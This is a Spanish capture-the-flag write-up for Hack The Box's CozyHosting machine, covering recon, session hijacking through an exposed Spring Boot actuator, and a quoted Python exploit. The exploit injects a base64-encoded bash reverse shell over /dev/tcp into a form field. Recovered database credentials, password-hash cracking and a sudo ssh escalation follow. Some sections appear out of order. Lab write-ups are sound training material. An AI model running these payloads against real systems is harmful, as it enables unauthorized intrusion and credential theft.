En esta ocasión vamos a hacer el writeup de la máquina CozyHosting de Hack the Box, una máquina Linux de dificultad easy.
Primer acceso
Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:
sudo nano /etc/hosts
Ahora ya se muestra la web en el navegador:
A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.
Escaneo con Nmap
NMAP Puertos abiertos:
Fuzzing
Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch
Nos devuelve:
Hay un directorio sospechoso: /actuator
Al acceder al directorio nos encontramos varios apartados:
Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:
Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.
En este panel no hay muchas cosas interesantes o que podamos hacer.
Exploit
Buscando en internet encontramos un exploit para esta máquina:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-favicon: Unknown favicon MD5: 72A61F8058A9468D57C3017158769B1F
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
dirsearch -u http://cozyhosting.htb/
#!/usr/bin/python3
# Author: M3Y
# IMPORTS #
import requests
import json
import sys
import subprocess
# Config Target
URL = "http://cozyhosting.htb"
headers = {'Content-Type':'application/vnd.spring-boot.actuator.v3+json'}
# lhost - lport
if len(sys.argv) != 3:
print('[!] Usage: %s host port' % (sys.argv[0]))
print('[*]Example: ./cozy.py 10.10.12.14 443\n')
lhost = sys.argv[1]
lport = sys.argv[2]
# create payload
# 1) encode in base64
proc=subprocess.Popen([f"echo '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' | base64"],stdout=subprocess.PIPE,shell=True)
out, _ = proc.communicate()
result = out.decode().strip()
# 2) generate shell payload
payload=";$(echo${IFS}%s${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})" % (result)
def getAdminDashboard():
# url for get session
session_url = URL + "/actuator/sessions"
r = requests.get(session_url,headers=headers)
data = r.json()
# loop on each value
desired_value = 'kanderson'
key = None
for k,v in data.items():
if v == desired_value:
key = k
break
return key
def getShell():
session = getAdminDashboard()
new_url = URL + "/executessh"
# Cookie to access at dashboard
cookies = {'JSESSIONID': 'Confusedession'}
# payload data
data = {'host': '127.0.0.1',
'username': payload
}
request = requests.post(new_url,cookies=cookies,data=data)
if __name__ == "__main__":
print('[!] Befote execute this script start a listener with netcat')
print('[*]Example: nc -nlvp 443')
print('[*]Getting Shell ...')
getShell()
nc -nlvp 1337
python3 cozy.py 10.10.14.202 1337
Usuario: postgres
Contraseña: Vg&nvzAQ7XxR
psql -U postgres -W -h localhost -d cozyhosting
\list <!-- listado de bases de datos -->
\c cozyhosting <!-- Accedemos a la BBDD cozyhosting -->
\d <!-- Muestra todas las relaciones -->
SELECT * FROM users; <!-- Vemos todo el contenido de la tabla usuarios -->
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
sudo hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
ssh josh@10.10.11.230
manchesterunited
3c1561e5ac2f02a012402d308e....
sudo -l
User josh may run the following commands on localhost: (root) /usr/bin/ssh *